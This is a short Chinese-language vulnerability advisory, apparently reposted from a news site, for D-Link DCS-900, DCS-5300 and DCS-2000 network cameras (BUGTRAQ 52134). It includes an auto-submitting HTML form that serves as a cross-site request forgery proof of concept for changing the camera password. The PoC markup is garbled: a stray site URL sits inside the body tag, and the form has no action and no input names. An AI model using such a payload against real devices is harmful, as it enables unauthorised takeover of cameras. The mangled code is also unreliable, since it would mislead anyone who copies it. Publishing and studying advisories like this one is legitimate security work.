发布日期:2012-02-23
更新日期:2012-02-24
受影响系统:
D-Link DCS 900
D-Link DCS 5300
D-Link DCS 2000
描述:
--------------------------------------------------------------------------------
BUGTRAQ ID: 52134
D-Link DCS-900、DCS-5300、DCS-2000是网络摄像机产品。
D-Link DCS-900、DCS-5300、DCS-2000在实现上存在安全漏洞,可被利用导致在受影响设备上运行特权命令、更改信息、造成拒绝服务或注入任意脚本代码。
<*来源:Rigan Iimrigan
*>
测试方法:
--------------------------------------------------------------------------------
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
<html>
<bodyhttps://www.linuxidc.com/Java" target="_blank" title="https://www.linuxidc.com/topicnews.aspx?tid=19">Javascript:document.forms[0].submit()">
<form method="POST" action="">
<input type="hidden" value="your_pass"/>
<input type="hidden" value="your_pass"/>
</form>
</body>
</html>
建议:
--------------------------------------------------------------------------------
厂商补丁:
D-Link
------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本: